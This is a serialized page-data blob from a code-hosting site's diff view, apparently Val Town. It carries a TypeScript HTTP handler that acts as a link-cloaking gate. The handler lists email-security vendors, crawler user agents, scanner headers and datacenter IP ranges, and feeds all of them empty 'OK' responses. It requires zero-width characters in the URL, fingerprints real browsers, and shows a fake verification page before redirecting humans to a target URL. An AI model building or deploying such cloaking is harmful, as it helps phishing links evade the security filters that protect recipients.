[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_152":153,"_154":155},"routes/_app.x.$handle.$name",{"_93":92,"_32":44,"_101":83,"_27":102,"_13":14,"_103":-5,"_11":104,"_105":106,"_107":108,"_109":110,"_111":112,"_20":-5,"_113":-5,"_114":-5,"_115":25,"_116":117,"_118":119,"_120":-5,"_121":-5,"_122":123},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_42":43,"_32":44,"_37":45,"_46":-5,"_47":25,"_48":49,"_50":49,"_51":-5,"_52":-5,"_18":53,"_54":-5,"_55":25,"_56":-5,"_57":-5,"_58":59,"_60":61,"_62":-5,"_63":-5,"_64":-5,"_65":-5,"_66":67,"_68":67,"_69":70,"_71":70,"_72":70,"_73":67,"_74":67,"_75":76,"_77":78,"_79":80,"_81":25},"version",6,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":36,"_37":38,"_39":14,"_40":41,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","9c40a6f2-34b2-11f1-9ab6-42b51c65c3df","name","fileType","http","content","const TARGET_URL = \"https://debounce.com\";\n\nconst botUA = [\n \"vade\",\n \"vadesecure\",\n \"proofpoint\",\n \"pphosted\",\n \"cloudmark\",\n \"barracuda\",\n \"mimecast\",\n \"fireeye\",\n \"trellix\",\n \"ironport\",\n \"sophos\",\n \"forcepoint\",\n \"websense\",\n \"symantec\",\n \"messagelabs\",\n \"fortinet\",\n \"fortigate\",\n \"fortimail\",\n \"trendmicro\",\n \"trend micro\",\n \"spamhaus\",\n \"spamexperts\",\n \"mailguard\",\n \"libraesva\",\n \"avanan\",\n \"abnormal\",\n \"bitdefender\",\n \"kaspersky\",\n \"eset\",\n \"mcafee\",\n \"agari\",\n \"area1\",\n \"zerospam\",\n \"hornetsecurity\",\n \"trustwave\",\n \"mailchannels\",\n \"spamtitan\",\n \"microsoft\",\n \"azure\",\n \"office\",\n \"outlook\",\n \"safelinks\",\n \"googlebot\",\n \"google-safety\",\n \"bot\",\n \"crawl\",\n \"spider\",\n \"slurp\",\n \"facebookexternalhit\",\n \"linkedinbot\",\n \"twitterbot\",\n \"whatsapp\",\n \"telegrambot\",\n \"discord\",\n \"curl\",\n \"wget\",\n \"python\",\n \"go-http\",\n \"java/\",\n \"php/\",\n \"ruby\",\n \"httpclient\",\n \"axios\",\n \"node-fetch\",\n \"undici\",\n \"headlesschrome\",\n \"phantomjs\",\n \"selenium\",\n \"puppeteer\",\n \"scanbot\",\n \"urlscan\",\n \"virustotal\",\n];\n\nconst suspiciousHeaders = [\n \"x-ms-useragent\",\n \"x-ms-exchange\",\n \"x-proofpoint\",\n \"x-pp-correlation-id\",\n \"x-barracuda\",\n \"x-mimecast\",\n \"x-fireeye\",\n \"x-cloudmark\",\n \"x-vade\",\n \"x-ironport\",\n \"x-sophos\",\n \"x-forcepoint\",\n \"x-fortinet\",\n \"x-fortimail\",\n \"x-trendmicro\",\n \"x-symantec\",\n \"x-messagelabs\",\n \"x-mailguard\",\n \"x-spamhaus\",\n \"x-avanan\",\n \"x-abnormal\",\n \"x-agari\",\n \"x-hornetsecurity\",\n \"x-zerospam\",\n \"x-trustwave\",\n \"x-atp-redirect\",\n \"x-safe-url\",\n];\n\nconst emailSecurityIPs = [\n \"67.231.\",\n \"148.163.\",\n \"208.86.20\",\n \"78.31.1\",\n \"185.132.\",\n \"208.80.19\",\n \"74.63.\",\n \"207.211.\",\n \"205.139.\",\n \"209.222.\",\n \"64.235.\",\n \"40.92.\",\n \"40.93.\",\n \"40.94.\",\n \"40.107.\",\n \"52.100.\",\n \"52.101.\",\n \"104.47.\",\n \"66.249.\",\n \"72.14.19\",\n \"198.71.\",\n \"184.154.\",\n];\n\nconst datacenterIPRanges = [\n \"52.\",\n \"54.\",\n \"18.\",\n \"35.\",\n \"34.\",\n \"104.196.\",\n \"104.197.\",\n \"104.198.\",\n \"104.199.\",\n \"40.74.\",\n \"40.75.\",\n \"40.76.\",\n \"40.77.\",\n \"40.78.\",\n \"167.99.\",\n \"167.172.\",\n \"178.62.\",\n \"188.166.\",\n \"139.144.\",\n \"172.232.\",\n \"172.233.\",\n \"172.234.\",\n \"95.217.\",\n \"116.202.\",\n \"116.203.\",\n \"135.181.\",\n \"51.75.\",\n \"51.77.\",\n \"51.79.\",\n \"51.89.\",\n \"51.91.\",\n \"45.32.\",\n \"45.63.\",\n \"45.76.\",\n \"45.77.\",\n];\n\nfunction html(body: string, status = 200): Response {\n return new Response(body, {\n status,\n headers: { \"content-type\": \"text/html; charset=utf-8\" },\n });\n}\n\nfunction fakeOk(): Response {\n return new Response(\"\", { status: 200 });\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const ua = req.headers.get(\"user-agent\") || \"Unknown\";\n const uaLower = ua.toLowerCase();\n\n const ip = req.headers.get(\"x-forwarded-for\")?.split(\",\")[0]?.trim() ||\n req.headers.get(\"x-real-ip\") ||\n \"Unknown\";\n\n // --- DATACENTER IP ---\n if (datacenterIPRanges.some((r) => ip.startsWith(r))) {\n return fakeOk();\n }\n\n // --- STATIC FILES ---\n if (/favicon|manifest|\\.ico|\\.png|robots\\.txt/.test(url.pathname)) {\n return new Response(null, { status: 204 });\n }\n\n // --- VERIFY TOKEN ---\n if (url.pathname === \"/verify\") {\n const token = url.searchParams.get(\"t\");\n const ts = url.searchParams.get(\"ts\");\n\n if (token && ts) {\n const elapsed = Date.now() - parseInt(ts);\n if (elapsed < 2000) return fakeOk();\n return Response.redirect(TARGET_URL, 302);\n }\n return fakeOk();\n }\n\n // --- ZWC CHECK ---\n const hasZwc = /[\\u200B-\\u200D\\uFEFF]/.test(decodeURIComponent(url.pathname));\n if (!hasZwc) {\n return html(\n \"

404 Not Found

\",\n 404,\n );\n }\n\n // --- EMAIL SECURITY BOT ---\n if (botUA.some((kw) => uaLower.includes(kw))) return fakeOk();\n if (suspiciousHeaders.some((h) => req.headers.has(h))) return fakeOk();\n if (emailSecurityIPs.some((p) => ip.startsWith(p))) return fakeOk();\n\n // --- FINGERPRINT ---\n const hasAcceptLang = req.headers.has(\"accept-language\");\n const hasAccept = req.headers.get(\"accept\")?.includes(\"text/html\");\n const isMobile = /iphone|ipad|android/.test(uaLower);\n const isDesktop = /windows|macintosh|linux/.test(uaLower);\n const behaviorScore = (!req.headers.has(\"referer\") ? 1 : 0) +\n (!req.headers.has(\"cookie\") ? 1 : 0) +\n (!req.headers.has(\"sec-fetch-mode\") ? 1 : 0) +\n (req.headers.get(\"accept\") === \"*/*\" ? 1 : 0);\n const isBehaviorBot = behaviorScore >= 3 && !req.headers.has(\"sec-ch-ua\");\n const isRealBrowser = uaLower.length >= 35 && hasAcceptLang && hasAccept &&\n (isMobile || isDesktop);\n\n if (!isRealBrowser || isBehaviorBot) return fakeOk();\n\n // --- JS CHALLENGE ---\n const ts = Date.now();\n\n return html(`\n\n\n\nVerifying...\n\n\n

✓

Verifying your connection...

This is an automatic security check

\n\n`);\n}","createdAt",["D",1775808300525],"branchVersion","branchId","9c3d3f1c-34b2-11f1-9ab6-42b51c65c3df","id","9c3c6b46-34b2-11f1-9ab6-42b51c65c3df","claude-ace",["D",1775807715521],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","imageUrl","22d4d35d-523b-48da-81db-63dd3086147e","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","019d7662-fdf2-722a-b38f-dff55e4fb4df","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_93":92,"_100":96},"org",{"_93":92,"_94":-5,"_95":96,"_18":53,"_97":98,"_99":25},"branch",{"_13":82,"_32":83,"_42":41,"_84":43,"_85":-5,"_86":-5,"_87":-5,"_88":-5,"_89":-5,"_90":44,"_91":92},"isOwned",11,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","smourace","handle","displayName","avatar","https://avatars.githubusercontent.com/u/59419565?v=4","tier","free","canRestrictVals","profileImageUrl","branchName","","adoptOrgId",{"_42":43,"_32":44,"_37":148,"_46":-5,"_47":25,"_48":49,"_50":49,"_51":-5,"_52":-5,"_18":53,"_54":-5,"_55":25,"_56":-5,"_57":-5,"_58":59,"_60":61,"_62":-5,"_63":-5,"_64":-5,"_65":-5,"_66":67,"_68":67,"_69":70,"_71":70,"_72":70,"_73":67,"_74":67,"_75":149,"_77":150,"_79":151,"_81":25},"tree",[143],"files",[143],"counts",{"_132":59,"_133":134,"_135":59,"_136":137,"_138":139},"contents",[124],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles",true,"grants","orgs","customDomains",{},{"_42":125,"_32":28,"_30":31,"_126":-5,"_40":41,"_39":14,"_127":25,"_37":128,"_13":129,"_33":34,"_35":36,"_24":25,"_130":-5,"_27":131},"f8ee7d60-34b3-11f1-8086-42b51c65c3df","parentId","latest",["D",1775808300525],5,"label",[28],"pulls","branches",1,"forks","envVars",{"_140":59,"_142":59},"connections",{"_140":59,"_141":59},"count","unfilledCount","emptyCount",{"_42":125,"_32":28,"_30":31,"_126":-5,"_40":41,"_39":14,"_127":25,"_37":144,"_13":129,"_33":34,"_35":36,"_24":25,"_130":-5,"_145":146,"_27":147},["D",1775808300525],"children",[],[28],["D",1775807715521],{"_93":92,"_100":96},{"_93":92,"_94":-5,"_95":96,"_18":53,"_97":98,"_99":25},{"_13":82,"_32":83,"_42":41,"_84":43,"_85":-5,"_86":-5,"_87":-5,"_88":-5,"_89":-5,"_90":44,"_91":92},"ctx",{"_75":-5,"_121":185,"_186":187,"_188":189,"_190":25,"_191":25,"_192":25,"_193":119,"_194":-5,"_195":-7,"_196":-7,"_197":59,"_198":25,"_199":25,"_200":-5,"_201":25,"_202":25,"_203":25,"_204":-5},"ENV",{"_156":157,"_158":159,"_160":83,"_161":162,"_163":164,"_165":166,"_167":168,"_169":170,"_171":172,"_173":174,"_175":176,"_177":178,"_179":180,"_181":182,"_183":184},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v6